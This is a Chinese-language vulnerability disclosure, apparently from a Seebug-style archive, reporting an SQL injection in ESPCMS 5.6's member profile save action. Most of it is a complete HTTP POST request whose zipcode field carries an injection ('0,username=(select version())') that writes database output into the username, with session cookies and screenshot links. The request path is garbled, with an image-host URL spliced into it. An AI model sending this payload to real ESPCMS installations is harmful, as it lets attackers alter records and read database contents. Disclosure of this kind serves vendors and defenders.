espcms的一枚sql注入漏洞

### 简要描述： 又出现了注入漏洞， ### 详细说明： ``` POST /espcms_utf8_5.6.13.04.22_bhttps://images.seebug.org/upload/index.php?ac=membermain&at=save HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20100101 Firefox/21.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://localhost/espcms_utf8_5.6.13.04.22_bhttps://images.seebug.org/upload/index.php?ac=membermain&at=editinfo Cookie: ECS[visit_times]=3; deal_city=15; VUAH_2132_saltkey=Ip9qjMop; lXeu_2132_saltkey=HPWeBNe1; lXeu_2132_lastvisit=1369410091; lXeu_2132_ulastactivity=6a00rULKQIzPDIXidvYIzNBwa%2F9AorEkXleI1PvSsABgSPgE9xgh; lXeu_2132_lastcheckfeed=1%7C1369413715; lXeu_2132_nofavfid=1; cdq_auth=ATdXWAdgBTUCOQJsAWtSDgI0AV8HYAM2BGNWZAA0BWUFMwIyBzcBMQJnU2JVMgFnBTALOFBmAjRXZAM0CT4PPQE%2BV2EHZQUzAjcCMwExUmYCNQE3BwsDMA; cdq_userid=1; cdq_username=admin; cdq_guest_truename=11; cdq_guest_telephone=13412334321; cdq_guest_email=11@12.com; cdq_chat_ec=2; cookiecheckrl65df1570e4df9e3eebb15d95f25922ca=1369936728; ecisp_seccode=W3WDdn5mPaRlaG1ec6mYmIs; esp_powerlist=k6Wh; ecisp_admininfo=Y7WWlNDNpbVuxWqVxpbDamPJmMacm5SSx55nxslpmWabl2ScbGOUxbOcm5hmx8ZjxGNmyZiXb5tilcydZ5rLm5mZbmSVnW1km-BotWrdZ5fHl5JoapTLmJrMaZaZy5jDyGdqmnFomGtqaZWWmpo; ECS_ID=0ba2063f70abe09728f778c1d2ba6d1e3ffaa345; ecisp_home_seccode=W3F8en1mPaRlaG1ec6yanYk; ecisp_member_username=qqKWn9vNmKg; ecisp_member_info=Y7WxYN-Vs2t5k1_F0p7dZWSXlptmnGRkmeJlkplmbGZuZ2VssZPFm2yenJOUkpaWk2ZsmZjInJ1kasvLl8ScZ5iacGdqtWhlmpRvb5uSaJuUaJJja5zKlJyfkmeWyGmUzGtrmZyY X-Forwarded-For: 127.0.0.1 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 370 upurl=http%3A%2F%2Flocalhost%2Fespcms_utf8_5.6.13.04.22_b%2Fupload%2Findex.php%3Fac%3Dmembermain%26at%3Deditinfo&inputclass=editinfo&userid=1&username=root%40localhost&email=2%402.com&mvid=&alias=&sex=1&birthday=2013-05-31&cityone=0&citytwo=0&citythree=0&district=0&address=&zipcode=0,username=(select+version())&tel=&mobile=&msn=1&qq=0&submit=%E7%A1%AE%E8%AE%A4%E4%BF%AE%E6%94%B9%E8%B5%84%E6%96%99 ``` 修改zipcode的值 ### 漏洞证明： [<img src="https://images.seebug.org/upload/201305/3121461881e45c5c732265fee8be166755fb70e8.jpg" alt="espcms.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201305/3121461881e45c5c732265fee8be166755fb70e8.jpg) [<img src="https://images.seebug.org/upload/201305/31214608a642613c7a8a3724f79a9a2549583fee.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201305/31214608a642613c7a8a3724f79a9a2549583fee.jpg)